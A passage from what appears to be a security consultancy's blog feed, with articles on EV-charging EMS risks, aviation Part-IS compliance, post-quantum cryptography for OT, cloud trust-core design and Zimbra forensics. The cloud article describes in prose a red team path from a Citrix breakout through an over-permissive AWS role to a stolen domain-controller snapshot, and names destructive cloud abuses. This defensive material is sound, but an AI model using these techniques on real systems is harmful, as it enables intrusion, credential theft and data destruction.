This trajectory, however, relies on the availability of a dense, reliable, and properly dimensioned charging network across the entire territory. Whether for public charging (motorways, public roads, shopping centers) or private charging (homes, businesses), this infrastructure forms the backbone of the electric mobility ecosystem. At the heart of this ecosystem, Charging Point Operators (CPOs) play a structuring role, being responsible for the installation, operation, and maintenance of charging stations. 

Cyber risk is now emerging as a major threat to charging infrastructures, in a context where electrical networks are increasingly targeted by cybercriminal groups and state-sponsored actors12.  For CPOs, this reality is a game changer: mastering cyber risk becomes a prerequisite for service reliability and ecosystem protection. As charging networks expand and grow more complex, cybersecurity challenges become central: data protection, service continuity, securing financial flows, and managing third‑party risks. 

This article is part of a series of three papers exploring three structuring challenges faced by electric mobility stakeholders, with the aim of analyzing their implications from a cybersecurity perspective. 

Rethinking charging infrastructure: balancing operational requirements and emerging cyber constraints 

In the context of strong growth combined with the gradual structuring of the market, CPOs are facing a demanding economic equation. The deployment of charging infrastructures requires significant upfront investments – land acquisition, grid connection, purchase and installation of charging points, supervision, and maintenance – while utilization rates remain heterogeneous across regions and site typologies. Added to this are the volatility of electricity prices, increasing competitive pressure, and the rapid evolution of technological standards, which require regular upgrades. 

As public subsidies tend to be streamlined and investors increasingly expect clearer profitability trajectories, optimizing the economic performance of assets becomes imperative. Maximizing availability rates, fine‑tuning operating costs, improving utilization levels, and diversifying revenue streams are no longer secondary levers, but essential conditions for the long‑term sustainability of CPOs’ business models. 

Charging infrastructures, as designed today, illustrated in Figure 1, generally rely on static power control managed by a central supervision system, the Charging Point Management System (CPMS). This operating model does not allow, or significantly limits, the CPO’s ability to adapt power distribution in real time to usage patterns and site-specific constraints. 

Figure 1: Architecture of a conventional charging infrastructure 

Therefore, several optimization levers can be implemented. 

First, it is possible to enhance the site’s energy flexibility, particularly to support fast charging without having to oversize the grid connection. To achieve this, the deployment of a Battery Energy Storage System (BESS) proves to be an effective solution: this stationary battery storage acts as a buffer, capable of storing energy when it is available and releasing it during peak demand, thereby improving the site’s stability and resilience. 

The next step consists in integrating local, low‑carbon energy production directly at charging sites, making it available for immediate use or storage through the addition of photovoltaic systems. Solar panels, installed on rooftops or canopies, provide this renewable generation layer. Their effectiveness, however, relies on their integration with appropriate control and storage systems, ensuring the environmental coherence of electric mobility. 

Finally, to enable the proper integration of these energy production and storage assets at charging sites, a global control system has emerged: the Energy Management System (EMS). This system supervises and adjusts energy flows on site in real time, aligning them with demand, local constraints, and grid connection agreements. It controls power distribution, anticipates variable charging demand, and maximizes the use of local energy production, thereby transforming a conventional electrical installation into a dynamic and intelligent system. 

Thanks to intelligent energy management via an EMS, battery storage, and the integration of solar generation, this architecture (illustrated in Figure 2) enables performance optimization while keeping costs under control and thus represents a key step towards the next phase of the energy transition. 

Figure 2: Architecture of a next-generation charging infrastructure 

In the remainder of this article, we will focus on three new sources of cybersecurity risk introduced by the integration of Energy Management Systems (EMS) into CPOs’ charging infrastructures. 

The EMS: an optimization lever that has become a critical risk point 

EMS have become a key component of charging infrastructures, enabling CPOs to finely optimize power management and charging strategies. This central role makes EMS a critical point in terms of cybersecurity – their compromise can result in major operational impacts for a CPO: 

• Unavailability of a part of the charging stations. 
• Degradation of energy optimization, resulting in direct financial impacts. 
• Load imbalances that may lead to service limitations or outages at site level. 

Beyond these incident scenarios, the introduction of EMS also fundamentally reshapes the risk landscape to which charging infrastructures are exposed. 

Increased reliance on third‑party infrastructures 

The deployment of EMS solutions is most often based on turnkey offerings, combined with vendor‑operated management platforms hosted in cloud environments. These platforms enable CPOs to centrally manage their entire EMS fleet and support a range of use cases, including optimization of available power, performance monitoring, and remote control of charging strategies. 

This architecture, however, introduces a direct dependency on third‑party infrastructures that lie outside the CPO’s perimeter of control. As a result, it expands the attack surface and increases CPOs’ exposure to supply‑chain‑related risks. 

This issue is further compounded by the fact that these vendors are often small, highly specialized players whose level of cybersecurity maturity can be heterogeneous. A compromise of these platforms may therefore lead to widespread impacts, potentially resulting in the unavailability of a significant share of the EMS fleet operated by a CPO and, by extension, a risk of charging station outages. 

In addition, the compromise of EMS cloud platforms may also lead to breaches of data confidentiality, as it could enable an attacker to collect sensitive operational information, which could notably be exploited for espionage purposes, including: 

• Detailed mapping of charging sites and deployed energy assets. 
• Energy management strategies, revealing the optimization logics implemented by the CPO. 
• Consumption and power data across the CPO’s entire portfolio of sites. 

Local communications relying on weakly secured protocols 

These new architectures also extend the attack surface at the local network level, particularly through communications with energy-related equipment, which still largely rely on weakly secured industrial protocols.  

Unlike exchanges between supervision systems (CPMS) and charging stations, which benefit from the standardization provided by OCPP, communications between the EMS and other components (BESS, charging points, etc.) still predominantly rely on Modbus. 

Originally designed for closed industrial environments, this protocol does not natively implement security mechanisms such as authentication or encryption. In practice, each EMS vendor deploys its own protective measures, resulting in heterogeneous security levels. For CPOs, this diversity complicates the securing of the fleet and may introduce new exploitable weak points within the local network. 

Levers to secure next‑generation charging infrastructure 

Securing next‑generation charging infrastructures relies on a structured approach that makes it possible to reconcile operational performance with effective cybersecurity risk management. 

Ensuring the resilience of charging architecture 

The evolution of charging infrastructures introduces a single point of failure for CPOs: the EMS. To address this risk, it is necessary to design resilient architectures capable of maintaining continuity even in the event of an EMS failure. This can notably be achieved through: 

• The implementation of monitoring and alerting mechanisms, enabling rapid detection of EMS failures and activation of fallback mechanisms. 
• The deployment of degraded operating modes, allowing charging stations to continue operating even in the event of EMS unavailability. 
• The definition of business continuity and disaster recovery strategies that explicitly include EMS failure scenarios. 

Securing dependencies on unmanaged third–party infrastructures 

The evolution of charging infrastructure architectures requires CPOs to address both supply‑chain‑related risks and risks inherent to the interconnection between the CPMS and EMS vendors’ cloud infrastructures. 

To reduce supply‑chain risks, CPOs must implement robust vendor qualification processes, including in particular: 

• Assessment of the vendor’s cybersecurity maturity level. 
• Evaluation of product security, notably through penetration testing. 
• Contractual governance of supplier relationships, including, where appropriate, the implementation of Security Assurance Plans (SAPs). 

Beyond supply‑chain risk management, CPOs must also account for the risks introduced by the interconnection of their infrastructure with EMS vendors’ environments (EMS cloud). Securing these interconnections requires a strong control of data flows between the CPO infrastructure and these external environments. This can be achieved through three main levers: 

• Implementing traffic filtering and control mechanisms between the local charging infrastructure network and external networks, to restrict communications strictly to legitimate third‑party infrastructures. 
• Formalizing secure architectural standards and ensuring their effective implementation during EMS deployment in the field, guaranteeing a consistent application of cybersecurity best practices. 
• Implementing isolation mechanisms to contain potential EMS cloud failures and prevent their propagation across the entire charging infrastructure fleet. 

Securing communications relying on industrial protocols 

Communications between EMS and energy‑related equipment, particularly BESS, still largely rely on industrial protocols such as Modbus, which do not provide native security mechanisms. In this context, securing these exchanges cannot rely on the protocols themselves, but must instead be addressed at the infrastructure architecture level. 

This notably involves: 

• Implementing strict network segmentation within the local network, isolating EMS, BESS, and other components to limit exposure surfaces. 
• Applying fine‑grained control over communications by locally restricting data flows to strictly necessary exchanges (filtering, whitelisting, limitation of authorized commands). 
• Deploying communication monitoring mechanisms to detect abnormal or unauthorized behavior. 

Establishing a structured cybersecurity governance 

To address the diversity of components and infrastructures operated across their charging networks, it is essential for CPOs to structure their environment around clear governance, including in particular: 

• Clarification of cyber roles and responsibilities across the entire value chain (CPOs, suppliers, service providers, etc.). 
• Definition of security standards applicable to all projects and suppliers, ensuring overall architectural consistency. 

By combining rigorous supplier risk management, a solid governance framework, and strict control of data flows, CPOs can fully leverage the operational gains offered by EMS while securing their infrastructure in a sustainable manner. 

Optimizing without compromising: the challenge of charging infrastructure 

To conclude, the rise of Energy Management Systems (EMS) is profoundly transforming charging infrastructures, providing essential optimization levers while also introducing new cybersecurity risks. For CPOs, the challenge is no longer limited to deploying these solutions but extends to securing them within a comprehensive approach that encompasses supplier risk management, the definition of secure architectures, and the establishment of structured cybersecurity governance. In this context, cybersecurity is now emerging as a prerequisite for the sustainable performance of charging infrastructures. 

Cet article Electric vehicle charging infrastructure: energy performance and new cybersecurity challenges est apparu en premier sur RiskInsight.

Where does the sector stand? 

The rise of Part-IS has been gradual. After the progressive entry into force of the texts in 2022 and 2023, 2025 was marked by the preparation of compliance files and the structuring of ISMS.

Since 22 February 2026, the implementing regulation has been fully applicable, meaning that new scopes are now covered — in particular, maintenance and repair activities through Part-145. Part-IS now applies across the entire operational chain, from design through to operations and support. 

Today, the organisations concerned by Part-IS have acknowledged the subject and submitted their ISMS. In this context of broad engagement, EASA has on its side adjusted the framework by clarifying and easing certain modalities through the update of the Part-IS AMC and GM. 

EASA provides for an 18-month development phase after the applicability date to reach a fully operational implementation. This progression can be read simply in three steps: a system that is first present and suitable (P+S), then operational (O), before reaching effective long-term functioning (E). 

EASA updates: What you need to know in practice

In late 2025, EASA updated the AMC and GM relating to Part-IS and consolidated these changes in a new version of the associated Easy Access Rules. 

In concrete terms, these changes introduce several significant easements: 

• Declared organisations no longer need prior approval of their ISMS.
  • As a reminder, approved organisations are subject to a formal approval process by the authority (EASA or national authority). They must obtain approval, have their ISMS manual approved, and submit certain modifications for prior validation — unlike declared organisations, which are supervised ex post by the authority. The list of declared organisations subject to Part-IS can be found here. 
• ISMS modifications, when covered by a defined internal procedure, no longer require formal sign-off from the authority: a notification is sufficient. 
• The role of the authority is refocused on supervision and audit, rather than on a systematic approval logic. 

However, expectations remain the same: the ISMS (SGSI in the regulatory sense) must be robust, consistent, traceable, and genuinely applied. The relief brought by the AMC and GM update is therefore administrative, not operational. 

On the ground, this resonates with the first OSAC feedback on ISMS: governance around the ISMS appears as a central point. Authorities are paying increased attention to the cybersecurity dimension that identified actors must demonstrate. Document quality is also scrutinised — not only in substance, but also in form (structure, consistency…). 

The five key challenges for scaling Part-IS across the sector 

Beyond these initial observations, we have seen during our support engagements that the implementation of Part-IS brings five recurring challenges for most organisations: governance & coordination, inventory validation, completion of risk analyses, training of managers and teams, HR constraints and personnel controls. 

The most time-consuming, however, remains the risk analysis — particularly for large multi-site organisations. This can no longer be purely centralised; it must be broken down locally, integrating the realities of each site, functional chains, and subcontractors. This holistic approach is demanding, but essential to demonstrate consistent application of Part-IS. 

A pragmatic approach to scaling up 

Faced with these challenges, the key lies in anticipating deployment. An effective ISMS relies on a solid common foundation, but also on concrete tools enabling local adaptation: templates, guides, risk analysis methods tailored to operational realities. 

The success of Part-IS depends on coordination between cybersecurity teams, business teams, and quality and compliance functions. Part-IS is not an additional layer: it is a cross-cutting framework that durably structures cyber risk management in the service of aviation safety. 

Conclusion 

In 2026, Part-IS enters its implementation phase. The consolidation of the AMC/GM sets a clear baseline and reduces the administrative burden compared to the first version. 

In addition, the late-2025 updates notably extended the scope of Part-IS.D.OR to ground handling service providers via Delegated Regulation (EU) 2025/22 amending (EU) 2022/1645, applicable from 27 March 2031. No immediate operational impact in 2026, but a useful signal to anticipate interface mapping — with no short-term urgency. 

Cet article Part-IS in 2026: from regulatory framework to operational reality est apparu en premier sur RiskInsight.

Quantum Threats: a new era for industrial cryptography 

Quantum computing represents a threat to traditional cryptographic algorithms which guarantee integrity, authenticity and confidentiality of communications, including those of OT systems and products. Even if “Q-Day” (the day quantum computers will break current cryptography) is still several years away, the risk is already present: threat actors can already use « Harvest Now, Decrypt Later » attacks by storing encrypted data today to decrypt them as soon as current cryptographic algorithms are broken. Another risk, just as critical, is already appearing: « Trust Now, Forge Later ». Digital signatures or certificates seen as reliable today could be falsified tomorrow, allowing transparent deployment of malwares or even compromising supply chains. Unlike progressive data breach, this attack triggers an immediate collapse of trust and integrity, with massive impacts on industrial environments and smart products. With the European roadmap, structuring 2026, 2030 and 2035, the question hinges on the sequencing of the transition. 

Within the industrial sector, where assets are used for multiple decades, this represents a major concern: OT environments and embedded products depend on critical cryptographic usage that will be directly impacted by the arrival of post-quantum algorithms. 

Key OT and product use cases include: 

• Secure administration of OT systems and products: guarantee the integrity and confidentiality of operations. 
• Digital signatures and firmware integrity: guarantee the reliability of software updates (secure boot, code signing, X.509…). 
• Secure remote access to industrial assets and products: protect VPN, SSH, RDP connections as well as other protocols from future attacks. 
• Data exchanges IT/OT: secure flows between information systems and industrial environments (TLS, MQTTS, HTTPS…). 
• Data confidentiality of industrial processes: preserve the confidentiality of sensitive data in transit or at rest. 
• Secure logging and event history: ensure the traceability and integrity of logs and historical data. 

PQC for OT & Products: Address the constraints while preserving crypto-agility 

OT & Products context: specific constraints 

OT systems and products were never conceived for crypto-agility. Numerous industrial protocols, for instance DNP3, Modbus or MQTT, are not encrypted as of today because OT architecture historically depends more on network isolation than on cryptography, thus there is no reason to think they will be encrypted tomorrow with post-quantum algorithms. 

Nevertheless, encrypted communications will undergo this cryptographic disruption. 

In a second step, multiple OT devices face significant hardware constraints (CPU, memory, storage capacity) and have a very long lifespan, often between 10 and 30 years. Those characteristics make updates difficult and expensive: secure remote update mechanisms are still rare, and firmware signing is not consistently implemented, which is in fact bad practice. 

Those constraints explain why OT environments cannot integrate new cryptographic primitives at the same speed as IT, and why PQC isn’t yet natively considered. 

Nevertheless, even if current products and OT systems aren’t conceived for post-quantum cryptography, the emergence of PQC standards, the evolution of regulatory obligations and the rise of risks linked to quantum computing make this transition essential in the medium term. 

Making crypto-agility operational for the industry and products 

The scoping of the PQC project for Products and OT can be broken down into four main components: 

1. Conduct the cryptographical inventory and prioritize critical assets  

Start the dialogue with your cryptographic platform providers (PKI, KMS, HSM) now, to anticipate the migration. 

2. Conceive and deploy crypto-agile architectures 

Rely exclusively on NIST-standardized algorithms (for instance: ML-KEM, ML-DSA, SLH-DSA) and prohibit any internal development or non-standard library for cryptographical components; prioritizing validated and proven solutions. 

Conceiving crypto-agile architecture implies accounting for the embedded aspect and its constraints (limited memory, PCBs, energy resources). The implementation of PQC algorithms on those systems remains uncertain. Nevertheless, optimized algorithms for embedded systems are starting to emerge and open the way to its realistic adoption. 

3. Progressively migrate through hybridization and iteration  

Transition towards post-quantum cryptography cannot be approached as a one-off project or a “one-shot” migration. It is an iterative process that must be managed and governed over time, by starting with hybridization of algorithms: this is explicitly recommended by ANSSI (France’s National Cybersecurity Agency) and the European Commission. 

Crypto-agility isn’t an option, but a necessity to ensure resilience and compliance for industrial environments and products from the quantum threat. This depends on a structured approach, driven by inventory, architecture, hybrid migration and governance.  

Operational feedback & concrete use cases: stakeholders at different stages 

Our field experience reveals a noteworthy maturity gap between two industrial organizations when dealing with post-quantum cryptography: 

1. Organizations with a rudimentary understanding 

•  Observation: In numerous industrial environments, PQC remains an abstract concept, often seen as distant or limited to experts.  
• Symptoms:  
  • Operational and business teams aren’t part of strategic deliberations on cryptography. 
  • Current roadmaps lack maturity and clarity; the underlying projects costs are often underestimated. Priority remains on service availability; quantum security is therefore deprioritized. 
  • HNDL & TNFL concepts are poorly understood, if not outright ignored.  
• Risks:  
  • Disruption of industrial production processes and data breaches: vulnerable communications between critical assets, based on outdated algorithms, expose sensitive data and can cause interruptions or major disturbances in industrial operations (loss of integrity of the data). 
  • Production downtime caused by abrupt migration: A forced transition towards post-quantum cryptography, without preparation nor crypto-agility, can lead to production interruptions, significant additional costs and severe impacts on operational continuity. 

2. Product suppliers: pioneers already undergoing industrialization 

• Observation: On the contrary, some product suppliers are already ahead (including automotive and smart objects). 
• Symptoms:  
  • PQC projects are prioritized over critical use cases: firmware and update signatures (OTA), device identity management, secure remote access, etc. 
  • Pilot projects are being launched on product lines or representative environments, with concrete feedback on performance, compatibility and robustness of hybrid solutions  
  • The process is being industrialized: Integration of PQC clauses in supplier contracts, automation of cryptographic inventory CBOM, team upskilling, and dedicated governance.

Conclusion & Roadmap: Take action to build a quantum-safe future 

Quantum threat is no longer a distant prospect: it already demands a significant transformation of industrial and product cybersecurity. 

1. Plan ahead to protect the future 

Demystify quantum concepts and incorporate them in your cybersecurity processes, including your products, your OT environments or your IT systems. Planning ahead is the key to preventing a major disruption. 

2. Make crypto-agility a strategic vision

Stop viewing it as merely a technical project, but as a pillar of your resilience and of your digital sovereignty. Build a clear roadmap, with milestones in the short, medium and long term. 

3. Rely on trusted partners 

The market is ready: experts and solutions exist to support you through the modernization and securing of your critical infrastructure. Don’t face complexity on your own.  

4. Industrialize the process

Move from pilot projects to broader rollout:  

• Implement a PQC strategy to map out, prioritize and pilot the migration of critical uses (include PQC clauses in contracts). 
• Start a transition program to modernize trust infrastructure components (PKI, CLM, HSM), automate the inventory and ensure the operational continuity. 
• Rely on peers’ feedback as well as feedback from sectors already engaged in PQC. 

Quantum risk is already there: weakened asymmetric encryption, leaving signatures and data exposed. 

As mentioned previously, we start from the observation that elements that aren’t encrypted today in OT environments are not meant to be encrypted tomorrow with post-quantum algorithms, because already existing measures ensure a risk level judged acceptable. 

In other words, PQC doesn’t aim to transform the entirety of OT, but to protect the uses that really rely on cryptographical components exposed to quantum risk. 

However, this observation doesn’t reduce the importance of planning. 

The two priorities remain as follows: 

• Migrate your assets before 2030 and act today to protect data confidentiality 
• Define your perimeter, build your roadmap, and above all, begin the migration process today. 

Cet article Post-Quantum Cryptography for products & OT: From trends to industrial reality est apparu en premier sur RiskInsight.

Is the tiering principle promoted for on-premise infrastructure applicable to the cloud?

Evolution of the Security Model

In on-premises Active Directory environments, infrastructure security generally relies on strict segmentation into three tiers (T0, T1, and T2). This allows for the isolation of critical administration systems (T0), servers (T1), and user workstations (T2) in order to limit propagation risks.

This hierarchical and perimeter-based organization is inherent to the AD world and cannot be directly applied to the cloud for the following two main reasons:

• Portals are centralized: A wide variety of administrators with different rights.
• The boundary between administration levels is more complex: The principle of granular permissions, whether Role-Based (RBAC), Attribute-Based (ABAC), or conditional (location, risk, compliance, authentication methods, etc.) allows for very precise access configuration, but it complicates and obscures the global view of permissions.

To address this new paradigm, Microsoft published its Enterprise Access Model (described here), highlighting three main planes: the Control Plane, Management Plane, and Data Plane.

This model retains “cascading” criticality but simplifies it with:

• the 3 tiers into 2 access types: administrator vs. user;
• the administration flows into portal access;
• the server’s criticality is centralized within the Data plane.

Below is a comparative illustration between the old and the new model:

This new model particularly highlights 3 elements:

• User identity: privileged access vs. user access;
• Data and services: at the expense of servers;
• The method of access to web administration portals.

The inversion of importance between “servers” and “web portals” abstracting Active Directory is a radical change.

However, very few (if any) large organizations are at this stage of abandoning their “legacy” IS; a large part will be in a transitional state where the information system has been virtualized on a cloud in order to move away from its datacenters, but whose administration methods have remained the same.

These companies must deal with an obsolete tiering model and an Enterprise Access Model disconnected from current security risks and needs.

For the remainder of this article, we will take as an example the Tartampion company, which has just completed a 3-year Move-to-Cloud program on AWS. The outcome is as follows:

• A Landing Zone was created, applications already on AWS were integrated into it
• Given the lack of time and resources, a major part of the IS was incorporated via lift and shift, including business, network, bastion, and AD solutions.
• The Data Centers were closed

A problematic hybrid and virtualized IS

According to the EAM, Azure and AWS portals are displayed at the same level (the management plane) at the T1 tier, without any other form of distinction. However, these 2 cloud environments are in themselves the support for numerous IS, used by multiple collaborators with very varied levels of rights and impacts.

To illustrate the previous points, let us set aside the Digital Workplace aspect (O365 suite) and take 3 AWS accounts from a Tartampion Landing Zone, supporting different infrastructure services:

Based on the framework proposed by Microsoft, these three AWS accounts should belong to the Management plane with a T1 security level. However, in the event of a compromise of one of the 3 accounts by an attacker, the impacts would be very different.

If the Landing Zone is correctly implemented, the compromise of a Sandbox account would have very little impact, whereas that of the Master Account would lead to the compromise of all underlying accounts and resources.

A more adequate example of segmentation would be the following:

Microsoft’s Enterprise Access Model is a macroscopic framework that allows for initiating a baseline for cloud service segmentation, but which remains to be adapted according to the criticality of the concerned IS.

How can it be made relevant? To answer this, it is necessary to understand the attack scenarios exploiting cloud services.

The cloud from an attacker’s perspective

5 cloud principles facilitating attacks

Firstly, public cloud administration panels are exposed to the Internet by default, unlike sensitive IS resources. Thus, successful phishing very likely leads to access to the cloud.

Secondly, companies today have hybrid organizations (on-premise and cloud):

• Cloud infrastructures are connected to the rest of the on-premises IS;
• Workstations can also be hybrid and managed by a cloud service like Intune. Permissions to use this service are managed in Entra ID;
• Identities are often synchronized accounts, this also applies to administration accounts.

Hybrid organizations can facilitate lateral movement between the cloud and on-premise environments.

Thirdly, identity management is very complex with different scopes. For example, Entra ID allows managing access to Azure and M365 for users, as well as for applications and service accounts.

In addition, cybersecurity concepts related to the cloud are still relatively new and unfamiliar to certain “legacy” teams, such as the SOC/CERT, network, etc. The most sensitive cloud resources are not systematically identified, protected, and monitored.

Finally, even if native detection mechanisms are present, they are not always interconnected with SIEM/SOAR, which slows down response capabilities. Moreover, a recent Purple Team operation conducted on Azure and AWS infrastructure confirmed that native detection tools have limited detection capacity. This is an observation also found in Red Teams since, with an “OpSec” approach, cloud detection tools are rarely able to identify an ongoing attack.

Feedback from our penetration tests & Red Team

Derived from recent Red Team operations, these cloud-specific attack paths demonstrate the impact and the ease with which it is possible to escalate privileges to obtain highly permissive access:

The first scenario, carried out on AWS, is described below; the other two were analyzed in a series of Risk Insight articles available here.

Reconnaissance and Initial Access

Categories of employees are generally targeted in order to compromise a person with interesting rights in the IS (Developer, Support, OPS…). A frequently used method is phishing. Current phishing mechanisms can bypass the use of complex passwords and most MFA (Multi-Factor Authentication) methods.

Privilege Escalation and Lateral Movements

In the first scenario, a compromised developer possessed access to a Citrix farm. Citrix environments are not simple to completely harden, and a few breakout vulnerabilities allowed the Red Team to gain access to the underlying server.

Information gathered on the machine indicated that the server could be hosted on AWS. This was verified by trying to access the server’s AWS metadata: the instance had rights on the client’s AWS account. The Citrix virtual machine possessed the “AmazonEC2FullAccess” role allowing it management actions on EC2s in the same AWS account.

Using the AWS CLI, the other EC2s were listed. A Domain Controller was present in this AWS account. It is a common practice to regroup services intended to be used by several projects into a single account, generally called “Shared Services”. It is nevertheless recommended to verify that the criticality of shared services is homogeneous to be able to apply adequate hardening on the account or separate them into several environments.

Actions on trophies

From the Citrix server AWS role, a snapshot of the domain controller was taken and then downloaded. Domain controller backups contain all the machine’s files, including the most sensitive files like the ntds.dit database, which contains the information and secrets of all domain users. The exfiltration of this database translates to the total compromise of the concerned AD domain.

This scenario illustrates one of the attack paths that were exploited during Red Team operations, facilitated by the lack of visibility regarding the impacts that a compromised resource hosted on the cloud can have.

Faster and stronger impacts

Attacks already possible on an on-premises IS can be reproduced and even accelerated thanks to cloud features. For example, the encryption of S3 buckets (file storage service) using a KMS (encryption) key from another AWS account mimics massive data encryption, or the use of the “lifecycle” feature allows for the deletion of all objects in less than 24 hours, regardless of the amount of data.

New attacks have also appeared, such as “Subscription Hijacking” which allows transferring an Azure organization’s subscription to another and thus stealing all the data it contains while preventing remediation actions. This attack is achievable in a few clicks from the Azure web interface.

Identification and protection of the cloud trust core

Identification

The trust core adopts an approach focused on asset prioritization, which differs from the tiering model or Microsoft’s Enterprise Access Model. Unlike these models which offer a predefined segmentation, there is no universal grid: each organization must identify for itself which resources deserve the highest level of protection. The idea is to establish a restricted circle of critical resources (whether cloud or on premises) and then deploy decreasing levels of protection as one moves away from this core.

The identification of the trust core relies on two main criteria:

• Business Criticality: these are the resources that concentrate the value and business continuity of the company. If they were to be lost or compromised, the consequences would be immediate for daily operations and financially. A SharePoint environment containing intellectual property / patents is a common example;
• IS Criticality: these are the resources that ensure the administration of the information system and which possess a high level of access. Their compromise would have a major impact on the entire IS and would allow for the business impact previously mentioned. Here we find domain controllers or cloud IAM services like Entra ID and AWS Identity Center.

This mapping is never totally clear-cut. For certain elements, the posture to adopt remains vague; two examples illustrate this well:

• EDR: an obvious security element of an IS, systematically deployed on both workstations and cloud and on-premises servers, its administration console is increasingly exposed to the internet, and allows executing arbitrary commands on the devices equipped with it.
• CI/CD pipelines: a clever but complex agglomeration of applications calling each other, whose access (the code repository: GitLab, GitHub…) is accessible by all collaborators and the runner permissions are very often administrator over the entire cloud infrastructure. Out of all Red Teams conducted in 2024 & 2025, 80% exploited vulnerabilities associated with these solutions to progress in their operation or even obtain compromise trophies through these means.

In order to identify the center of the trust core, which we will call the security foundation, we can revisit the precepts of the old T0: the compromise of one of its elements would probably lead to that of the others, and by cascade, of the major part of the IS.

Assuming that your applications apply correct inter-user segregation (all of your SharePoint sites are not accessible by everyone, are they?), references to the next applications should be understood as administrator / super-user access to them, and not simple user.

Here is one possible representation of a hybrid trust core:

In this representation, on the on-premise side, we can observe:

• The T0, with its domain controllers, ADCS, and potentially the PKI, the bastion, the EDR console…
• The T1, integrating additionally high-impact business applications.

And on the cloud side, we find:

• At the core, the Control Plane (AWS Orga & Identity Center, Entra ID) as well as the Landing Zone modules supporting T0 (if part of T0 is hosted in the cloud);
• Moving outward, the various administration consoles for productivity suites, and for infrastructure or application management.

When establishing this diagram, it is important to keep in mind that:

• IT serves the business, and even though the central zone of the trust core is mainly occupied by technical components, critical solutions should be included;
• Dependency/compromise chains have a significant impact on architectural choices: positioning an AD on AWS, or deploying an EDR on an AD can suddenly create numerous paths for compromise and pivoting between the 2 worlds.

Finally, building a trust core cannot be limited to a static classification logic. It must rely on an approach that evaluates the criticality of each asset and the risk it introduces (a software development company will surely not position its Git at the same level as a civil engineering company).

Protection of the cloud trust core

The security of the trust core will rely on the two traditional risk factors:

• Reduce impact: How to prevent a compromised or malicious user from connecting to cloud portals via a browser and performing sensitive actions in a few clicks, such as backing up a domain controller hosted on a VM or deleting production data backups?
• Reduce probability: How to reduce the risks of illegitimate access from a session cookie stolen via phishing, workstation compromising, or user password reuse?

Protection of the cloud security foundation

Regarding the cloud “security foundation,” it is possible to prioritize environments by criticality according to this macroscopic scale:

Depending on the teams involved and the complexity of including them in a particularly high protection level, some organizations choose to exclude environments whose compromise would not allow for dangerous lateral movement, such as those for FinOps, detection, the Digital Workplace…

Securing the cloud security foundation relies on 2 main points:

• Impeccable hygiene: streamlined IAM configuration, least privilege strategy, deployment procedures, limitation of resources to the strict minimum…
• A passive / active security layer: deployment of policies (SCP on AWS, Policy on Azure) explicitly forbidding certain actions, or the manipulation of certain resources, and detection rules to trigger an alert in the event of a policy modification or the occurrence of one of its protected events.

These policies can be effectively associated with a tagging strategy to apply, in addition to the RBAC (Role Based Access Control) model, an ABAC (Attribute Based Access Control) model.

For example, it is possible to tag different resources with a “tiering” key and a value between “T0”, “T1”, “T2” and then deploy this set of strategies:

• Prohibit any action targeting a resource tagged “tiering” by an identity whose own tiering tag value is not equivalent;
• Prohibit the manipulation of tiering tags, except for a specific role.

And that is how, with a few tags and 2 SCPs, it is possible to replicate the Microsoft tiering model (some exceptions may occur).

Protection of identities and access

To protect users, 3 hardening themes can be implemented:

• Identity: With which account does the user connect to cloud administration interfaces? How are rights obtained?
• MFA: Is the identity protected with multi-factor authentication resistant to phishing attacks?
• Origin: From which platform does the user connect to cloud administration interfaces? Is the platform managed, and healthy?

Several levels of protection are conceivable in order to protect cloud administrators:

To protect the restricted trust core, represented by the triple padlocks, it is recommended to implement the most robust authentication factors. This includes the use of a dedicated account for cloud administration, the activation of physical multi-factor authentication (example: FIDO2 security key), and the use of a workstation specifically reserved for operations on this trust core (this last one is not often implemented).

For resources further from the center of the core of trust, symbolized by the double padlocks, a hardened but proportionate security level can be applied, in order to strengthen protection to control costs and reduce excessive constraints on the users concerned.

Ultimately, the most secure methods are also those that imply the most constraints for the people concerned, usage must be controlled (limiting day-to-day operations) and emergency situations considered.

Repeat Operations

At the end of the identification and protection phases, resources will be distributed across the different layers of the core of trust.

To verify the proper implementation of the core of trust, an audit can be conducted to verify the proper protection of the critical resources that compose it.

An information system is always evolving, but the first two phases will have been performed at a given moment. New critical resources may be added, others modified or even deleted. It is essential to regularly re-evaluate the IS and update the distribution of resources within the core of trust.

In conclusion, information system security now operates within a context of increasing complexity and strong diversification of infrastructure components and services.

In this context, it appears increasingly complex to define a universal security model. Certain frameworks retain all their relevance within well-identified perimeters: tiering remains a reference for securing Active Directory, just like the EAM for cloud environments strongly centered on the Microsoft ecosystem. Nevertheless, these models quickly reach their limits as soon as one moves away from these specific use cases.

For the majority of information systems, an approach based on risk analysis therefore stands out as the most relevant. Identifying a core of trust, clearly defining critical assets – the crown jewels – and deriving security measures from these elements allow for building a more pragmatic security posture, adapted to the reality of the IS and capable of evolving with it. This logic, less normative but more contextualized, undoubtedly constitutes one of the major levers for reconciling security, agility, and sustainability of information systems.

Cet article Cloud Security: Adapting to a new reality est apparu en premier sur RiskInsight.

Investigating in a Zimbra Environment

Now that Zimbra’s infrastructure and logs hold no secrets for you, it’s time to get practical.

Imagine you’re a forensic analyst, arriving early one morning, when suddenly: the phone rings. You’re being called because several users are reporting that emails, they didn’t send are appearing in their “Sent” folder.

Panic ensues! Users are afraid to log into their mailboxes, and some administrators start wondering whether the Zimbra infrastructure itself might be compromised.

Since you know Zimbra inside out, the team naturally turns to you to investigate this incident!

As a forensic analyst, many questions come to mind:

• Have the accounts really been compromised? If so, how and since when?
• How many users are affected?
• What is the attacker’s objective, and what malicious actions have been carried out from these accounts?
• Have the mail server or other Zimbra components been compromised?
• And, most importantly: do I have time for a coffee before the information hunt begins?

To help you in your investigation, we’ll look at how to answer these questions through Zimbra log analysis. But first, here are some tips to guide your investigation.

During incident response, it’s easy to feel overwhelmed by the amount of logs and events to analyze. Keeping a clear line of reasoning is essential. A few simple practices can help maintain focus:

• Confirm: Verify the information that triggered the incident. Before diving deeper, ensure the initial alert is accurate. This undeniable baseline will serve as the foundation for the entire investigation.
• Correlate: Cross-check suspicious IP addresses and domains with other sources (proxy, VPN, EDR, online antivirus databases). This provides additional context related to the identified indicator.
• Pivot: Use the collected information to expand your analysis. An attacker might reuse the same IP address or user-agent across multiple accounts. Conversely, a compromised account might be accessed from different IP addresses or user-agents. Pivoting can reveal other indicators that help identify the attacker.
• Compare patterns: Even without direct access to email content or attachments, certain elements can reveal similarities (file size, identical filenames, repeated sequences of actions after account compromise). This behavioral analysis approach can help identify multiple users compromised by the same attacker. Such hypotheses should be formulated and handled cautiously, but they can be valuable for confirming intuition.
